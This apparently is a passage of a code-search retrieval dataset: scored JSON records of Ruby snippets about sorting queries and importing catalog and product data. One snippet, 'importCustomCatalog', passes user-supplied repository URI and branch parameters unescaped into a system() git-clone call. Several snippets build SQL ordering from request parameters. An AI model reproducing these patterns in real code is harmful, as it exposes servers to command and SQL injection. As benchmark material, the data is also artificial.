"text": "def apply_search_order( ds, options )\n\t\tif (( fields = options[:order] ))\n\t\t\tds = ds.to_a.sort_by do |uuid|\n\t\t\t\t@storage[ uuid ].values_at( *fields.compact ).map {|val| val || ''}\n\t\t\tend\n\t\tend\n\n\t\treturn ds\n\tend",
"title": ""
},
{
"docid": "7ca6076ee6789723409405dbca44168a",
"score": "0.53464067",
"text": "def sort_data\n store.sort_data!\n end",
"title": ""
},
{
"docid": "a545f9fc7a98e7e6ca239bcca90d92b6",
"score": "0.5346013",
"text": "def custom_sort(condition, sort, user_id)\n # param\n default_sort_master = SearchForm.sort_master\n is_default_sort = [*(-1 * default_sort_master.length...0)].map(&:to_s).include?(sort)\n # order by\n if is_default_sort\n default_sort(condition, default_sort_master, sort)\n else\n score_sort(condition, sort, user_id)\n end\n end",
"title": ""
},
{
"docid": "1f1c4a50dd267bf6c3aab5f673f486a6",
"score": "0.5335156",
"text": "def rev_order\n\t \torder(created_at: :desc)\n\t end",
"title": ""
},
{
"docid": "1eb5e317e3c514eb3fa467d26dba15ad",
"score": "0.5330485",
"text": "def show_current_sort\n current_sort = params[:eds_action].present? ? params[:eds_action].gsub(\"setsort(\", \"\").gsub(\")\", \"\") : nil\n current_sort = params[:sort].present? ? params[:sort] : nil if current_sort.nil?\n\n sort_option = eds_info.fetch('AvailableSearchCriteria', {}).fetch('AvailableSorts', []).find { |sort_option|\n sort_option['Id'].to_s == current_sort\n }\n sort = sort_option.present? ? sort_option['Label'] : 'Relevance'\n \"Sort by #{sort}\"\n end",
"title": ""
},
{
"docid": "62a370131e9228ea28337e3ad38eb814",
"score": "0.5327958",
"text": "def sort_column\n TaskTemplate.column_names.include?(params[:sort]) ? params[:sort] : 'date'\n end",
"title": ""
},
{
"docid": "24a32d64ed3249fb3938523c8bda6765",
"score": "0.53272736",
"text": "def apply_sorting(relation)\n relation.order(@q.sorting.to_sql)\n end",
"title": ""
},
{
"docid": "a43acd56b446f254e93feb249e75fbd4",
"score": "0.53074974",
"text": "def sort!\n sort_if_needed\n self\n end",
"title": ""
},
{
"docid": "9124852b98a2ec4cfc4598ebec678905",
"score": "0.5294792",
"text": "def sort_order(default)\n if params[:c].blank? && default == \"created_at\"\n \"created_at DESC\"\n elsif params[:c].blank? && default == \"total\"\n \"total DESC\"\n else\n \"#{(params[:c] || default.to_s).gsub(/[\\s;'\\\"]/,'')} #{params[:d] == 'down' ? 'DESC' : 'ASC'}\"\n end\n end",
"title": ""
},
{
"docid": "b8c453b54e108f37580e11d4883febde",
"score": "0.52943677",
"text": "def sort!(sort = nil)\n mutate(:sort, sort)\n end",
"title": ""
},
{
"docid": "7b39519f63faebce1b7fe530353936d4",
"score": "0.5291013",
"text": "def order_by=( val )\n @order_by = val.blank? ? \"#{table_name}.created_at DESC\" : val\n end",
"title": ""
},
{
"docid": "0ee7d8630a18220ed401d509771d8ccc",
"score": "0.5288999",
"text": "def query_sort(query)\n return query unless has_sort_params?\n\n apply_sort(query, @table, @sorting[:order_by], @valid_fields + @custom_fields2.keys, @sorting[:direction])\n end",
"title": ""
},
{
"docid": "26b8f8cd400289fe2958d753d5e07cb8",
"score": "0.527828",
"text": "def index\n authorize! :manage, @product , :message => \"Access denied.\"\n if params[:sort] == nil then\n @products = Product.search(params[:search])\n .order(:created_at => :desc)\n .page(params[:page]).per(25)\n else\n @products = Product.search(params[:search])\n .order(sort_column + \" \" + sort_direction)\n .order(:created_at => :desc)\n .page(params[:page]).per(25)\n end\n end",
"title": ""
},
{
"docid": "570e6b976d5436ce9839b1391f816fb7",
"score": "0.5275261",
"text": "def sort_column\n Transaction.column_names.include?(params[:sort]) ? params[:sort] : \"created_at\"\n end",
"title": ""
},
{
"docid": "570e6b976d5436ce9839b1391f816fb7",
"score": "0.5275261",
"text": "def sort_column\n Transaction.column_names.include?(params[:sort]) ? params[:sort] : \"created_at\"\n end",
"title": ""
},
{
"docid": "212ea712eaec4fcfc8161b3fe5b6b1ea",
"score": "0.52679425",
"text": "def descending\n swap(:startkey, :endkey) if query[:startkey] || query[:endkey]\n swap(:startkey_docid, :endkey_docid) if query[:startkey_docid] || query[:endkey_docid]\n\n update_query(:descending => true)\n end",
"title": ""
},
{
"docid": "9b2aa0fc1ae8fdaa306afde449f2d391",
"score": "0.5263224",
"text": "def add_sort(field)\n @order_by.push(field)\n end",
"title": ""
},
{
"docid": "afaa9fc5ae471e7cffe21ddfdca5ddff",
"score": "0.52594817",
"text": "def sort_column klass, default_column = \"title_sort\"\n klass.constantize.column_names.include?(params[:sort]) ? params[:sort] : default_column\n end",
"title": ""
},
{
"docid": "afaa9fc5ae471e7cffe21ddfdca5ddff",
"score": "0.52594817",
"text": "def sort_column klass, default_column = \"title_sort\"\n klass.constantize.column_names.include?(params[:sort]) ? params[:sort] : default_column\n end",
"title": ""
},
{
"docid": "6d113de93329d9bb1394db55802c8670",
"score": "0.5257814",
"text": "def index\n @documents = Document.all.sort_by(&:created_at).reverse # Sort by reverse chronological order\n end",
"title": ""
},
{
"docid": "bf6d26bfcd1a77b88c143e8d03a675cc",
"score": "0.52554184",
"text": "def sort_params=(_arg0); end",
"title": ""
}
] |
1cb74c46bb90c68c51886a941f88e072
|
Utility for importing data from various catalogs
|
[
{
"docid": "e2c2e0292f615f0d85602dc4a687add3",
"score": "0.0",
"text": "def getname(ngc, names)\n names.each_line do |l|\n m_ngc = l[36,5]\n name = l[0,35]\n if ngc == m_ngc\n return name\n end\n end\n return \"-\"\n end",
"title": ""
}
] |
[
{
"docid": "9c8db950d339aebc09b625f79d06c5b1",
"score": "0.63097274",
"text": "def load_catalogs\n file = File.open(\"#{Rails.root}/config/silver_hornet/catalogs.yml\")\n yaml = YAML.load(file)\n yaml.each do |item|\n read(item)\n end\n @@catalogs = []\n Catalog.all.each do |cat|\n @@catalogs << cat\n end\n end",
"title": ""
},
{
"docid": "649bf69f392732a99d989bff3fad726d",
"score": "0.62747407",
"text": "def load_catalogue\n catalogue_file = parse_catalogue_file(\"product_catalogue.json\")\n catalogue_file ? catalogue_file[:list] : PRODUCTS\n end",
"title": ""
},
{
"docid": "2bd9bc27fcbce64f18bb3c2b26964424",
"score": "0.62038773",
"text": "def load_catalogs\n file = File.open(\"#{Rails.root}/config/silver_hornet/catalogs.yml\")\n yaml = YAML.load(file)\n yaml.each do |item|\n read(item)\n end\n @@catalogs = []\n Catalog.all.each do |cat|\n @@catalogs << cat\n end\n #@@cat_words ={}\n #Catalog.all.each do |cat|\n # if cat.alias_name.present?\n # @@cat_words[cat]=cat.alias_name | seg_word(cat.name)\n # else\n # @@cat_words[cat] = seg_word(cat.name)\n # end\n #end\n end",
"title": ""
},
{
"docid": "f8f0c9803ff5b9dadb122adc59ea2ddd",
"score": "0.6200303",
"text": "def importCustomCatalog\r\n require 'fileutils'\r\n require 'find'\r\n require 'uri'\r\n\r\n @project = Project.find(params[\"project_id\"])\r\n @role = Role.find_by_actor_id_and_project_id(current_actor.id, @project.id)\r\n if @role.nil? and !current_actor.superadmin\r\n json_response({ message: \"You don't have permission to update service types\" }, :unauthorized)\r\n return\r\n end\r\n\r\n temp_dir = FileUtils.mkdir_p(\"custom-recipes/\"[email protected]_s)[0]\r\n\r\n begin\r\n URI.parse(params[\"custom_catalog_uri\"])\r\n if params[\"custom_catalog_branch\"].present?\r\n repo_branch = params[\"custom_catalog_branch\"]\r\n else\r\n repo_branch = 'master'\r\n end\r\n\r\n system(\"git clone -b \" + repo_branch + \" --single-branch \" + params[\"custom_catalog_uri\"] + \" \" + temp_dir + \"/mastermind-services\")\r\n\r\n Find.find(temp_dir + \"/mastermind-services\") do |path|\r\n if path =~ /.*mastermind\\.yml$/\r\n directory = File.dirname(path)\r\n mastermindConf = YAML::load(File.open(directory+'/mastermind.yml'))\r\n dockerCompose = YAML::load(File.open(directory+'/docker-compose.yml'))\r\n serviceType = ServiceType.find_by name: mastermindConf[\"name\"], version: mastermindConf[\"version\"], is_imported: true, project_id: @project.id\r\n # NOTE: The gsub done on the Docker Compose might be moved into the Service Manager instead. This fix is likely temporary\r\n if serviceType.nil?\r\n ServiceType.create(is_imported: true, project_id: @project.id, local_path: directory, name: mastermindConf[\"name\"], description: mastermindConf[\"description\"], version: mastermindConf[\"version\"], service_protocol_type: mastermindConf[\"protocol_type\"], ngsi_version: mastermindConf[\"ngsi_version\"], configuration_template: File.read(directory+'/mastermind.yml'), deploy_template: File.read(directory+'/docker-compose.yml').gsub(/:-.+}/, \"}\"))\r\n else\r\n serviceType.update({is_imported: true, project_id: @project.id, local_path: directory, name: mastermindConf[\"name\"], description: mastermindConf[\"description\"], version: mastermindConf[\"version\"], service_protocol_type: mastermindConf[\"protocol_type\"], ngsi_version: mastermindConf[\"ngsi_version\"], configuration_template: File.read(directory+'/mastermind.yml'), deploy_template: File.read(directory+'/docker-compose.yml').gsub(/:-.+}/, \"}\")})\r\n end\r\n end\r\n end\r\n\r\n json_response({ message: \"Service Types imported\" }, 200)\r\n rescue\r\n json_response({ message: \"Invalid Catalog Repository URI or malformed Repository\" }, 400)\r\n end\r\n end",
"title": ""
},
{
"docid": "33a121ae0f633f0ba5653ae08106dcf3",
"score": "0.6199344",
"text": "def import_data\n begin\n #Get products *before* import - \n @products_before_import = Product.all\n @names_of_products_before_import = []\n @products_before_import.each do |product|\n @names_of_products_before_import << product.name\n end\n log(\"#{@names_of_products_before_import}\")\n\n columns = ImportProductSettings::COLUMN_MAPPINGS\n rows = CSV.read(self.data_file.path)\n log(\"Importing products for #{self.data_file_file_name} began at #{Time.now}\")\n rows[ImportProductSettings::INITIAL_ROWS_TO_SKIP..-1].each do |row|\n product_information = {}\n \n #Easy ones first\n product_information[:sku] = row[columns['SKU']]\n product_information[:name] = row[columns['Name']]\n product_information[:price] = row[columns['Master Price']]\n product_information[:cost_price] = row[columns['Cost Price']]\n product_information[:available_on] = DateTime.now - 1.day #Yesterday to make SURE it shows up\n #product_information[:weight] = row[columns['Weight']]\n #product_information[:height] = row[columns['Height']]\n #product_information[:depth] = row[columns['Depth']]\n #product_information[:width] = row[columns['Width']]\n #product_information[:description] = row[columns['Description']] + \" - \" + row[columns['Name']]\n \n\n #Create the product skeleton - should be valid\n product_obj = Product.new(product_information)\n unless product_obj.valid?\n log(\"A product could not be imported - here is the information we have:\\n #{ pp product_information}\", :error)\n next\n end\n \n log(\"#{product_obj.name}\")\n if @names_of_products_before_import.include? product_obj.name\n log(\"#{product_obj.name} is already in the system.\\n\")\n else\n #Save the object before creating asssociated objects\n product_obj.save\n #Now we have all but images and taxons loaded\n associate_taxon('Brand', row[columns['Brand']], product_obj)\n associate_taxon('Type', row[columns['Type']], product_obj)\n associate_taxon('Size', row[columns['Size']], product_obj)\n associate_taxon('Finish', row[columns['Finish']], product_obj)\n #Just images \n find_and_attach_image(row[columns['Image Main']], product_obj)\n #find_and_attach_image(row[columns['Image 2']], product_obj)\n #find_and_attach_image(row[columns['Image 3']], product_obj)\n #find_and_attach_image(row[columns['Image 4']], product_obj)\n #Return a success message\n log(\"#{product_obj.name} successfully imported.\\n\")\n end\n \n end\n \n if ImportProductSettings::DESTROY_ORIGINAL_PRODUCTS_AFTER_IMPORT\n @products_before_import.each { |p| p.destroy }\n end\n \n log(\"Importing products for #{self.data_file_file_name} completed at #{DateTime.now}\")\n \n rescue Exception => exp\n log(\"An error occurred during import, please check file and try again. (#{exp.message})\\n#{exp.backtrace.join('\\n')}\", :error)\n return [:error, \"The file data could not be imported. Please check that the spreadsheet is a CSV file, and is correctly formatted.\"]\n end\n \n #All done!\n return [:notice, \"Product data was successfully imported.\"]\n end",
"title": ""
},
{
"docid": "c13bd4d8a02ffc8c7e3ac5e1d4f98f8e",
"score": "0.61458224",
"text": "def import\n\n end",
"title": ""
},
{
"docid": "d3a0ef4265a9f26e682fcc9e82abf2ca",
"score": "0.6140403",
"text": "def load_file full_name\n cr_count = 0\n rows = CSV.read( full_name , {:col_sep=>\"\\t\",:quote_char=>\"\\t\"} )\n\n if IMPORT_PRODUCT_SETTINGS[:first_row_is_headings]\n col = get_column_mappings(rows[0])\n else\n col = IMPORT_PRODUCT_SETTINGS[:column_mappings]\n end\n\n log(\"Importing products for #{full_name} began at #{Time.now}\")\n log(\"Elements for import in file:#{rows.size}\")\n rows[IMPORT_PRODUCT_SETTINGS[:rows_to_skip]..-1].each do |row|\n #rows[0..10].each do |row|\n\n product_information = {}\n\n #Automatically map 'mapped' fields to a collection of product information.\n #NOTE: This code will deal better with the auto-mapping function - i.e. if there\n #are named columns in the spreadsheet that correspond to product\n # and variant field names.\n\n col.each do |key, value|\n #Trim whitespace off the beginning and end of row fields\n row[value].try :strip!\n product_information[key] = row[value]\n end\n\n #Manually set available_on if it is not already set\n product_information[:available_on] = Date.today - 1.day if product_information[:available_on].nil?\n product_information[:master_price] = product_information[:cost_price].to_f*product_information[:margin].to_f\n product_information[:permalink] = create_permalink_url(product_information[:name].clone, product_information[:sku])\n\n #log(\"#{pp product_information}\")\n\n # распределение по моим таксонам\n #my_real_taxonomies = Spree::Taxon.select(:name).where(\"parent_id IS NOT NULL\")\n\n taxons = Spree::Taxon.all\n if product_information[:category]\n taxons.each do |_taxon|\n if product_information[:category].include? _taxon[:name]\n product_information[:tax] = _taxon\n product_information[:for_import] = true\n end\n end\n end\n\n\n\n variant_comparator_field = IMPORT_PRODUCT_SETTINGS[:variant_comparator_field].try :to_sym\n variant_comparator_column = col[variant_comparator_field]\n\n if IMPORT_PRODUCT_SETTINGS[:create_variants] and variant_comparator_column and\n p = Spree::Product.where(variant_comparator_field => row[variant_comparator_column]).first\n\n log(\"found product with this field #{variant_comparator_field}=#{row[variant_comparator_column]}\")\n p.update_attribute(:deleted_at, nil) if p.deleted_at #Un-delete product if it is there\n p.variants.each { |variant| variant.update_attribute(:deleted_at, nil) }\n create_variant_for(p, :with => product_information)\n else\n if product_information[:for_import] == true\n create_product_using(product_information)\n cr_count = cr_count+1\n else\n log(\"skip product becose #{product_information[:category]} not in our taxon \")\n end\n\n end\n end\n\n #if IMPORT_PRODUCT_SETTINGS[:destroy_original_products]\n # @products_before_import.each { |p| p.destroy }\n #end\n log(\"Importing products for #{full_name} completed at #{DateTime.now} imported #{cr_count} elements\")\n end",
"title": ""
},
{
"docid": "27a068d00423eb639ccafc9aa8de338a",
"score": "0.6107107",
"text": "def import\n\tend",
"title": ""
},
{
"docid": "e8ccccaf61db2038cfeed57b13b102de",
"score": "0.60787326",
"text": "def load_dataset\n \t\tfile_name = \"public\" + data.url.split(\"?\")[0]\n \t\tcase data_content_type\n \t\twhen FCT_CSV\n \t\t\t@dataset = Roo::CSV.new(file_name, csv_options: {col_sep: \";\"})\n \t\twhen FCT_XLS\n \t\t\t@dataset = Roo::Excel.new(file_name)\n \t\twhen FCT_XLSX\n \t\t\t@dataset = Roo::Excelx.new(file_name)\n \t\twhen FCT_ODS\n \t\t\t@dataset = Roo::OpenOffice.new(file_name)\n \t\tend\n \tend",
"title": ""
},
{
"docid": "fe3ccc65da39401315c715b79438077a",
"score": "0.60783726",
"text": "def xds_import\n end",
"title": ""
},
{
"docid": "4c339d75bdd67382352182d08dab7205",
"score": "0.5978998",
"text": "def import\n fetch\n convert\n load\n end",
"title": ""
},
{
"docid": "b76118260d6ad7baefbaccd6645c450b",
"score": "0.5938816",
"text": "def read_other_csvs(directory_name)\n Import.find_all_by_directory_name(directory_name).each do |import| \n if !import.file_name.eql?(METADATA_FILE) \n update_status(import, :in_progress)\n unique_id = import.file_name.split(\".csv\")[0]\n location = Location.find_by_unique_id(unique_id)\n if location.present?\n delete_query = \"DELETE FROM location_data where location_id = #{location.id}\"\n ActiveRecord::Base.connection.execute(delete_query)\n\n CSV.foreach(%(#{directory_name}/#{import.file_name})) do |row|\n date_time = (row[1].to_i * 60) + 1388534400\n Datum.create(:location_id => location.id, :date_time => date_time, :instantaneous_power => row[1])\n update_status(import, :success)\n end\n else\n update_status(import, :failed, \"Location with unique_id #{unique_id} not found\")\n end\n end\n end\n end",
"title": ""
},
{
"docid": "ff6c390d2b134bd9af92a24798707985",
"score": "0.5934402",
"text": "def import_cities_from_dump\n unzip_and_import \"cities\"\n unzip_and_import \"locations\"\nend",
"title": ""
},
{
"docid": "57f194d0299e4c51547403562548f8fe",
"score": "0.5927811",
"text": "def import(dataset)\n meta = dataset[\"meta\"]\n data = dataset[\"data\"]\n \n # remove any traces of an existing dataset with the same name\n remove(meta[\"name\"], true)\n\n # set lookup key and metadata\n #puts \"Importing #{meta['name']}\"\n colnames = data.keys\n\n @search_dw.set to_r(meta[\"name\"]), meta.to_json\n meta[\"depvars\"].each do |nn|\n @search_dw.set to_r(meta[\"name\"] + \"|\" + nn), true\n end\n\n # set data\n for colname,coldata in data do\n for val in coldata do\n key = to_r(meta[\"name\"] + \"|\" + colname)\n @data_dw.rpush key, val\n end\n end\n true\n end",
"title": ""
},
{
"docid": "4c5888779be6c1cd5064c1472abebd59",
"score": "0.59070235",
"text": "def import_plain; end",
"title": ""
},
{
"docid": "8da3c4aee7747aee18b0380638e0dced",
"score": "0.5890552",
"text": "def importer; end",
"title": ""
},
{
"docid": "622dfb835e024399ed1fd5df2e52a40d",
"score": "0.58869016",
"text": "def import\n\nend",
"title": ""
},
{
"docid": "dbecfb445b111a1160a1f4ec5a53f223",
"score": "0.5882557",
"text": "def import\n ::Etsource::Dataset::Import.new(country).import\n end",
"title": ""
},
{
"docid": "a7192077241444ed3cea733e7fda2af0",
"score": "0.5876387",
"text": "def import\n # create a new vendor\n vendor = Vendor::Vendor.new(\n @vendor_name,\n DataSource.new(@data_source_uri)\n )\n # read data from the source given by vendor\n source_data = vendor.read_data_from_source\n \n # parse the source data\n data_parser = Vendor::SourceDataParser.new(source_data)\n parsed_data = data_parser.parse {|parsed_item|\n DataImporter.single_import(parsed_item) # import single parsed item\n }\n\n # import bulk parsed data\n # parsed_data = data_parser.parse\n # DataImporter.bulk_import(parsed_data)\n\n true # flag which defines import was successful\n end",
"title": ""
},
{
"docid": "0bfc1d5327f3b4955e666c0ae513a46c",
"score": "0.587287",
"text": "def import\n end",
"title": ""
},
{
"docid": "0bfc1d5327f3b4955e666c0ae513a46c",
"score": "0.587287",
"text": "def import\n end",
"title": ""
},
{
"docid": "0bfc1d5327f3b4955e666c0ae513a46c",
"score": "0.587287",
"text": "def import\n end",
"title": ""
},
{
"docid": "0bfc1d5327f3b4955e666c0ae513a46c",
"score": "0.587287",
"text": "def import\n end",
"title": ""
},
{
"docid": "ba861a29531ef91af9d915224a5b6103",
"score": "0.5870029",
"text": "def import_items_data\n validate_items_data_path\n\n Dir[\"#{@known_items_dir_path}/*.txt\"].each do |file|\n item_data = File.read(file).strip\n @items << Item.new(item_data.split(/\\n/))\n end\n end",
"title": ""
},
{
"docid": "4d1453d75ae4d586426e0d2451c94c29",
"score": "0.585344",
"text": "def ingest_data datasrc\n raise \"InvalidDataSrcObject\" unless datasrc.is_a? DataSrc\n case datasrc.type\n when \"yml\"\n begin\n data = YAML.load_file(datasrc.file)\n rescue Exception => ex\n @logger.error \"There was a problem with the data file. #{ex.message}\"\n end\n when \"json\"\n begin\n data = JSON.parse(File.read(datasrc.file))\n rescue Exception => ex\n @logger.error \"There was a problem with the data file. #{ex.message}\"\n end\n when \"xml\"\n begin\n data = Crack::XML.parse(File.read(datasrc.file))\n data = data['root']\n rescue Exception => ex\n @logger.error \"There was a problem with the data file. #{ex.message}\"\n end\n when \"csv\"\n data = []\n i = 0\n begin\n CSV.foreach(datasrc.file, headers: true, skip_blanks: true) do |row|\n data[i] = row.to_hash\n i = i+1\n end\n rescue\n @logger.error \"The CSV format is invalid.\"\n end\n when \"regex\"\n if datasrc.pattern\n data = parse_regex(datasrc.file, datasrc.pattern)\n else\n @logger.error \"You must supply a regex pattern with your free-form data file.\"\n raise \"MissingRegexPattern\"\n end\n when \"adoc\"\n begin\n doc = Asciidoctor.load_file(datasrc.file)\n data = doc.attributes\n rescue\n @logger.error \"Problem with AsciiDoc source file. Attributes not ingested.\"\n end\n end\n return data\nend",
"title": ""
},
{
"docid": "90c500cbe965b859f67ea0714cc8b2a3",
"score": "0.58332795",
"text": "def import_supply_items(filename)\n super\n end",
"title": ""
},
{
"docid": "b64001c4abab3ce14b4dde8b98059082",
"score": "0.5809089",
"text": "def load_from_database\n products = []\n CSV.foreach(file_path, {:headers => :first_row}) do |row|\n products << Product.new(id: row[0], brand: row[1],\n name: row[2], price: row[3])\n end\n # Insure that our products are sorted by ID when loaded\n products.sort{ |a, b| a.id <=> b.id }\n end",
"title": ""
},
{
"docid": "b2171ceeb201bc020346504254b840ff",
"score": "0.5801315",
"text": "def load_data path\n\t\tsuper\n\n\t\t# load user category data\n\t\tFile.foreach(path + 'mini_proj-categories_items.csv') do |line|\n\t\t\t# split user id and category id\n\t\t\titem_category = line.split(' ')\n\n\t\t\tif is_numeric?(item_category[0])\n\n\t\t\t\t# convert user id and category id to integers\n\t\t\t\titem_category = item_category.map(&:to_i)\n\n\t\t\t\t# if user id exists in hash then append to array of category ids else make new i.e. {user_id : [category_id, ...]}\n\t\t\t\t@item_categories[item_category[0]] ? @item_categories[item_category[0]].push(item_category[1]) : @item_categories[item_category[0]] = [item_category[1]]\n\t\t\tend\n\t\tend\n\n\t\t# load item_categories hash into item_categories_array\n\t\t@item_categories.each do |key, value|\n\t\t\t@item_categories_array.push({key => value})\n\t\tend\n\n\t\t# load category id names data\n\t\tFile.foreach(path + 'mini_proj-categories.csv') do |line|\n\t\t\t# split line by category_id and category_name (category_id => category_name)\n\t\t\tcategory = split_id_name(line.strip)\n\n\t\t\t# add to users hash if not nil (i.e. id: name)\n\t\t\[email protected]_array_values(category[0], category[1]) if category\n\t\tend\n\tend",
"title": ""
},
{
"docid": "e2f4cf6410a61e4cb55af4629b5ddf3d",
"score": "0.57866704",
"text": "def import \n \tFile.open(\"books.csv\").read.split(\"\\n\").each do |line|\n \t\ttitle, author, description, year_published, edition = line.split(\",\")\n \t\t@books << Book.new(title, author, description, year_published, edition)\n \tend\n\n end",
"title": ""
},
{
"docid": "be62341891af25bfbc983d6dbc4e87c8",
"score": "0.57851976",
"text": "def import\n @imports.each do |item|\n source = @sources[item['source']] || {}\n source_dir = source['path']\n source_files = item['files'] || []\n target = @targets[item['target']] || {}\n table_name = target['table']\n \n file_list = build_file_list(source_dir, source_files)\n transform = @transforms[item['transform']] || {}\n \n file_list.each do |file_name|\n columns = parse_file(file_name, source_dir, transform)\n \n create_table(target, columns)\n \n data_file_name = File.basename(file_name, '.*') + '.dat'\n data_file_path = File.full_path(@working_dir, data_file_name)\n error_file_name = File.basename(file_name, '.*') + '.err'\n error_file_path = File.full_path(@error_dir, error_file_name)\n \n bcp_file(table_name, data_file_path, error_file_path, target)\n end\n end\n end",
"title": ""
},
{
"docid": "352d636531d0c7a4155ec44ab268dfdd",
"score": "0.57808983",
"text": "def import_cities_from_file\n cities = JSON.parse File.read(\"#{PATH}/db/cities_pop.json\")\n cities.each do |city|\n import city\n end\nend",
"title": ""
},
{
"docid": "1d4555d67ca3aa7c4d7263c0e461d175",
"score": "0.5775557",
"text": "def perform_staging\n records, headers = get_records(source)\n\n update!(metadata:\n metadata.merge({\n core_headers: headers[:core],\n extensions_headers: headers[:extensions],\n catalog_numbers_namespaces: []\n })\n )\n\n core_records = records[:core].map do |record|\n {\n src_data: record,\n basisOfRecord: record[\"basisOfRecord\"]\n }\n end\n\n catalog_numbers_namespaces = Set[]\n catalog_numbers_collection_code_namespaces = Set[]\n\n core_records.each do |record|\n dwc_occurrence = DatasetRecord::DarwinCore::Occurrence.new(import_dataset: self)\n dwc_occurrence.initialize_data_fields(record[:src_data].map { |k, v| v })\n\n catalog_numbers_namespaces << [\n [\n dwc_occurrence.get_field_value(:institutionCode),\n dwc_occurrence.get_field_value(:collectionCode)\n ],\n nil # User will select namespace through UI. TODO: Should we attempt guessing here?\n ]\n catalog_numbers_collection_code_namespaces << [dwc_occurrence.get_field_value(:collectionCode), nil]\n\n if dwc_occurrence.get_field_value(:catalogNumber).blank?\n dwc_occurrence.status = \"Ready\"\n else\n dwc_occurrence.status = \"NotReady\"\n record[\"error_data\"] = { messages: { catalogNumber: [\"Record cannot be imported until namespace is set.\"] } }\n end\n\n record.delete(:src_data)\n dwc_occurrence.metadata = record\n\n dwc_occurrence.save!\n end\n\n records[:extensions].each do |extension_type, records|\n records.each do |record|\n dwc_extension = DatasetRecord::DarwinCore::Extension.new(import_dataset: self)\n dwc_extension.initialize_data_fields(record.map { |k, v| v })\n dwc_extension.status = \"Unsupported\"\n dwc_extension.metadata = { \"type\" => extension_type }\n\n dwc_extension.save!\n end\n end\n\n self.metadata.merge!(\n catalog_numbers_namespaces: catalog_numbers_namespaces.sort { |a, b| a[0].map(&:to_s) <=> b[0].map(&:to_s) }\n )\n self.metadata.merge!(\n catalog_numbers_collection_code_namespaces: catalog_numbers_collection_code_namespaces.sort { |a, b| a[0].to_s <=> b[0].to_s }\n )\n\n save!\n end",
"title": ""
},
{
"docid": "8f15c6e4c11ba53b9e693f77e9f9fb39",
"score": "0.5761448",
"text": "def import_data(fields=[])\n puts \"made it to import\"\n cl = classify\n ShpFile.open(self) do |shp|\n shp.each do |shape| \n record = cl.new\n shp.fields.each do |field|\n record[field.name.downcase] = shape.data[field.name] if fields.include? field.name.downcase or fields.blank?\n end\n record.the_geom = shape.geometry\n record.save \n end\n end\n end",
"title": ""
},
{
"docid": "630d913bc56968061ab052ed5273d8a1",
"score": "0.57570344",
"text": "def import(data)\n data.each { |key, object| store(key, object) }\n end",
"title": ""
},
{
"docid": "6c7659e637fb0c02e5fc4d9d1bd0ca9a",
"score": "0.57555443",
"text": "def import_data\n data_files.each do |data_file|\n \"Freebase::Importer::#{@type.camelize}\".classify\n .constantize\n .perform_async(data_file)\n end\n end",
"title": ""
},
{
"docid": "f923fc7a250b9dd5e45bee1eedede84b",
"score": "0.57454604",
"text": "def importdata\n # 需要去除空格,类字样\n\n # shops = ShopContent.where( :order_level => 158 ,:project_info_id => 149)\n # shops.each do |shop|\n # shop.delete\n # end\n # return\n\n #{\"title\":\"店名\",\"order_level\":\"客户等级\",\"years\":\"店龄\",\"sort_ids\":\"主营产品\",\"address\":\"地址\",\"admin_name\":\"服务人员\",\"c_role\":\"职位\",\"cus_des\":\"客户群描述\",\"c_mobile\":\"智能机使用\",\"new_cus_from\":\"新客户来源\",\"old_cus_service\":\"老客户服务\",\"unique_des\":\"独特性描述\",\"coupon_des\":\"传统优惠方式\",\"method_improving\":\"提高业绩方法\",\"des\":\"备注\",\"server_num\":\"在店服务员人数\",\"top_of_day\":\"每日服务高峰\",\"trade_des\":\"营业/交易状况\"}\n\n string = \"\"\n IO.foreach(\"tmp/data/data.json\"){|line| string = string + line};\n json = JSON.parse string\n fields = JSON.parse '{\"image_cover\":\"图片\",\"title\":\"学校名称\",\"sort_1\":\"所在地\",\"sort_2\":\"性质\",\"sort_3\":\"类型\",\"join\":\"参与\",\"belonged_to\":\"学校隶属\",\"address\":\"地址\",\"phone_num\":\"电话\",\"website\":\"学校网址\",\"special_enroll\":\"特殊招生\",\"zdxk_num\":\"国家重点学科\",\"ys_num\":\"院士\",\"bsd_num\":\"博士点\",\"ssd_num\":\"硕士点\",\"bsh_num\":\"博士后流动站\",\"introduction\":\"院校介绍\",\"abstract\":\"学校简介\",\"yuanxi\":\"院系设置\",\"zhuanye\":\"专业介绍\",\"jangxuejin\":\"奖学金设置\",\"shisu\":\"食宿条件\",\"jichusheshi\":\"基础设施\",\"lianxifangfa\":\"联系办法\",\"zhaoshengjianzhang\":\"招生简章\",\"zhaoshengzhangcheng\":\"招生章程\",\"yishuleizhaosheng\":\"艺术类招生\",\"wangnianluqu\":\"往年录取信息\",\"luquguize\":\"录取规则\",\"tijian\":\"体检要求\",\"shoufei\":\"收费项目\",\"biyesheng\":\"毕业生就业\"}'\n sorts_1= JSON.parse '{\"1491\":\"全国范围\",\"1492\":\"北京市\",\"1493\":\"天津市\",\"1494\":\"上海市\",\"1495\":\"重庆市\",\"1505\":\"河北省\",\"1506\":\"山西省\",\"1507\":\"内蒙古\",\"1508\":\"辽宁省\",\"1509\":\"吉林省\",\"1510\":\"黑龙江省\",\"1511\":\"江苏省\",\"1512\":\"浙江省\",\"1513\":\"安徽省\",\"1514\":\"福建省\",\"1515\":\"江西省\",\"1516\":\"山东省\",\"1517\":\"河南省\",\"1518\":\"湖北省\",\"1519\":\"湖南省\",\"1520\":\"广东省\",\"1521\":\"广西省\",\"1522\":\"海南省\",\"1524\":\"四川省\",\"1525\":\"贵州省\",\"1526\":\"云南省\",\"1527\":\"陕西省\",\"1528\":\"甘肃省\",\"1529\":\"青海省\",\"1530\":\"宁夏\",\"1531\":\"新疆\",\"1532\":\"香港\",\"1533\":\"澳门\",\"1534\":\"台湾省\"}'\n sorts_1_filter = JSON.parse '{\"全国范围\":1491,\"北京市\":1492,\"天津市\":1493,\"上海市\":1494,\"重庆市\":1495,\"河北省\":1505,\"山西省\":1506,\"内蒙古\":1507,\"辽宁省\":1508,\"吉林省\":1509,\"黑龙江省\":1510,\"江苏省\":1511,\"浙江省\":1512,\"安徽省\":1513,\"福建省\":1514,\"江西省\":1515,\"山东省\":1516,\"河南省\":1517,\"湖北省\":1518,\"湖南省\":1519,\"广东省\":1520,\"广西省\":1521,\"海南省\":1522,\"云南省\":1526,\"四川省\":1524,\"贵州省\":1525,\"陕西省\":1527,\"甘肃省\":1528,\"青海省\":1529,\"宁夏\":1530,\"新疆\":1531,\"香港\":1532,\"澳门\":1533,\"台湾省\":1534}'\n # sorts_2 = JSON.parse 